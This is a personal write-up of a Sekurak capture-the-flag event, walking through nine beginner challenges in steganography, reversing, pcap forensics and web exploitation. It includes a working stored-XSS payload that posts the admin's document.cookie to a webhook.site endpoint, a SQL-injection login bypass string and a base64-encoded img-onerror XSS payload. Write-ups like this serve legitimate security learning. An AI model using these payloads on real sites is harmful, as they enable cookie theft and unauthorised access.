Table of contents
Background
This was my second participation in a CTF event organized by Sekurak team. As before, being part of the MSHP event, it gathered around real pros in the field - but also this time due to Into path addition, challenges were adjusted towards people starting doing this kind of activity.
Not gonna lie, challenges were way more approachable than last time - and I remind you that Oct 2022 was dominated by gynvael who was the only one who submitted all flags.
The organizers said, "beginner friendly, with a twist". And one of those twists took me away from the top 10 ๐ . I hate DOM-based XSS challenges.
Why the "honorable" mention? Gynvael decided to not participate in the event (he submitted 5/9 flags in the first 25 minutes of the event) to not take the money price from others. And maybe what's more important, because we had design flaws in challenges 1 and 7 - he helped resolve them so we can all complete them during this CTF.
And yeah, that's me:
Challenge 1: my guestbook
Someone wrongly implemented a security mechanism of cookies. Try to receive it, and then... see what needs to be done.
UPDATE:
Admin logs in every full hour! Also, there is also new hint!
Simple submit form with no validation at all. From the hint in the challenge description, it is clear that you have to perform a Stored XSS attack that will send the admin cookies to the endpoint you control (or at least can read incoming requests from). If you want to read in detail about that method, please refer to the Toy Workshop writeup.
Because server that is running a challenge has access to the Internet, it was easier this time because I could use a webhook.site service.
I've determined that only thing I have to do is to make a POST request to `http://ctf.securitum.ninja/ctf1/` and just wait for the cookies (with flag) to arrive.
var q = "<script>fetch('https://webhook.site/76ed31cc-0a98-47e5-8186-****f345****/flag', {method:'POST', body: document.cookie});</script>";
fetch("http://ctf.securitum.ninja/ctf1/", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "message="+q,
"method": "POST"
});
In the meantime, I started solving other challenges. When the time comes, I've noticed a matching response.
During the CTF organizer come to realization that the solution is a bit too complicated for this kind of event (no solves), so he made a change skipping the "one" step in decyphering the flag. Final version of the challenge is described here.
The initial one with more details regarding the fun backstory is at the end of the article :).
flag=MSHP_%7BU0d3UD03WkAmakpjVnoj%7D; msg=Oh_WaiT_TheRe_iS_some_ncryption_Here
After a simple URL decoding: MSHP_{U0d3UD03WkAmakpjVnoj}
. That didn't work so I've tried decoding it from base64 and that was a hit.
Challenge 2: login inject0r
Do you remember the good 0l' days where noone knew about UNION SELECT or TIME statements? Get back to r00ts with this twisted easy SQL injection.
Basic SQL Injection - with a twist, becasue
and Adam apparently did exactly what he was told to do. Injection ' or 1=1 --
doesn't work, but ' OR 2=2 --
is ๐.
Then simply reversing the string in python '}1#7m+UvR8Wr*g6@{_PHSM'[::-1]
.
Challenge 3: steganoBuster.py
Find the hidden message in pic. But how? I don't know, maybe this server is not about steganography?
Steganography. I love forensics challenges so I got right to it. Downloaded the gigachad-like cock version of Sekurak logo. Then in the source of the page:
And the email.html
itself
We've got the Python code that was used to hide a message in the image. Shortly describing what the code does:
Decode the message to binary representation (each char to int, then to binary)
Reads the image pixels' RBG values column by column.
For each R, G, B value encode single bit of message.
End when message is fully written.
Write image output to file.
The key to notice was: what hiding algorithm does is literally zeroing the last bit of R/G/B value and setting it to the value we need (nth bit of encoded flag).
So knowing that, we can read the message simply be reading the last bits of RGB values of the out.png
pixels.
def decrypt(image_path, maxMessageSize):
maxMessageSize *= 8
bits = []
msg_index = 0
img = Image.open(image_path)
pixels = img.load()
for x in range(img.width):
for y in range(img.height):
# get RGB of pixel
pixel = list(pixels[x, y])
for n in range(3):
if msg_index < maxMessageSize:
# get the flag bit and store
bits.append(str(pixel[n] & 1))
msg_index += 1
if msg_index >= maxMessageSize:
break
if msg_index >= maxMessageSize:
break
bitsString = ''.join(bits)
print(bitsString);
Slap output to the CyberChef
Challenge 4: $reverseme, harry
"He Who Must Not Be Xored" is ummaterialized! If you want him to regain his strength, you must obtain his soul parts and try to figure out the mystery_key.
First, we had to acquire the binary wget http://ctf.securitum.ninja/ctf4/new
and do some fingerprinting.
On the bottom we can see some base64 encoded strings. Let's fire up ghidra (there is a very informative material how to use this tool - link in the resources below).
When inspecting the content of the main
function we can discover where the flag is hidden.
So either we can figure out the "key" to have that flag given by the program - or we decode the flag ourselves. I have chosen the latter approach.
#!/usr/bin/python
import base64
def xor_encrypt(str1, key):
enc = ''
i=0
for c in str1:
enc += chr(c ^ ord(key[i%len(key)]))
i=i+1
return enc
if __name__ == "__main__":
bcode = "ICo7JDoJTzkKO0AdMFAQM1c9JRIKBA=="
print(xor_encrypt(base64.b64decode(bcode), "mystery_key"))
It does the same thing that is done in the original program - it XORs the "mystery_key"
string with the decoded base64 bytes of flag.
Challenge 5: captain forensics
A twin suspicious network packets were captured during a recent incident. Your task is to analyze the packet capture file and retrieve the secret xormunnication!
Download the *.pcap
file and open it in the Wireshark. Quick glance through the packets and I can find those 2 that are outstanding from others. Notice that Wireshark already marking them as corrupted/suspicious.
These are DNS packets. If you've heard about DNS Data Exfiltration this should already lit the warning light. In the first packet you can read "Key is 0x42". In the second packet, there is a binary content hidden where DNS (query)
should be.
Because in the challenge description you can read about "xormunnication" I'm using all that information to XOR bytes from second packet through 0x42
Challenge 6: crypto.xxe
A cryptographic challenge? Meh, just take the /tmp/flag and then what?
Well, this one is weird, but when you go to the challenge page you got HTTP405
error.
But in Allow
response header you can see that POST
is allowed.
So you could get a flag by simply sending POST
request under the given URL. Notice that I haven't have to use the /tmp/flag
for that.. Which bothers me - but hey, as long as it works.
Challenge 7: now that's xxs!
This page is somehow broken. Where's the ?payload?
UPDATE:
If you see a base64 - you are on a right track
Just, don't get me even started... ๐ฅฒ This was solvable from the start - but required an exact payload. After the update, it was more forgiving but got significantly more annoying because it started granting you responses like "Alert me!" (when you clearly have an alert in the payload), or "Something is missing" (duh, if the payload were complete I'd have the flag, right?) or "I don't like this tag" (I don't care and I'm not even having any tag there..). Thank you, gynvael ๐น (he was the author of these adjustments to the challenge).
But coming back to the challenge itself. In the page source you can see a hidden form
So the objective here is to submit a payload
with a GET
request. There was also a hint to use base64 (the site was so great that even reminds you about that couple of times). So initially (I mean, initially then consecutively for the next 3-4 hours, which means I've spent 30-40% of time on this single challenge) I was using the base64 to bypass the XSS filter (using eval(atob(/base64 alert execution/))
) instead of encoding whole payload query parameter (?payload=/base 64 whole stuff/
).. so the final solution is
http://ctf.securitum.ninja/ctfX/?payload=PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpLz4=
Then I've put that char-train/snake into VSCode, replaced all ||
with +
then slapped that into the python interpreter.
All that is left is decoding base64 to get the flag.
Challenge 8: betrayal
Someone has bypassed our security systems and hacked the FlagHunter bot. Try to ask him to uncover the secret message. Help him retrieve the stolen flag!
That one was fun to do, I even started solving it before the CTF got launched - bot was responding to commands since arrival (8PM day before) so I've got some insights. It was missing /secret
response, which is key to move further, and presence of some individual on our Discord server so it was impossible to solve before the launch, but still, it was fun to fiddle with it beforehand.
Betrayal arrival was announced
Then getting the encoded tip and submitting its name.
Challenge 9 (hidden)
You could get bonus 900 points.. simply by reading terms of the event :).
Bonus (challenge 1 battleground)
Ok, so what was about that first challenge? Why it was so hard to do? Well, initially the returned flag was not base64 encoded.
Well, it wasn't any baseXX encoding either. As the author said, to solve the challenge it was required to do some OSINT and discover what exactly cipher was used to encode the flag, then find the exact decoder implementation to decode it. To be honest, that was unintentionally made even harder to do so, becasue the information that would start the research was visible on the page itself. Which was, to remind you, the Stored XSS vulnerable page that [turned into the big battleground](https://sekurak.pl/podsumowanie-mega-sekurak-hacking-party-z-22-maja-2023/) after a while which makes it really discouraging to go there. But if you manage to pass by all the alerts, redirects, obfuscations and Rick Astley, you could see the hint.
So after a quick googling you could find this article here which describes Camellia cipher that was developed by NTT and Mitsubishi.
After googling more you could find many implementations of it (which to use?) - but that's not all. There are many different variations of it
all of which requires key
or IV
. Which we... well didn't have. After we solved the challenges and Camellia was no longer in a play, Darkdante
and me talked a bit about this challenge, and he actually managed to get the flag (outside of the CTF, with a little hint as he stated) by using this exact decoder with camellia-256-cbc
variation.
What about key
you'll say. Well. It's empty.
Resources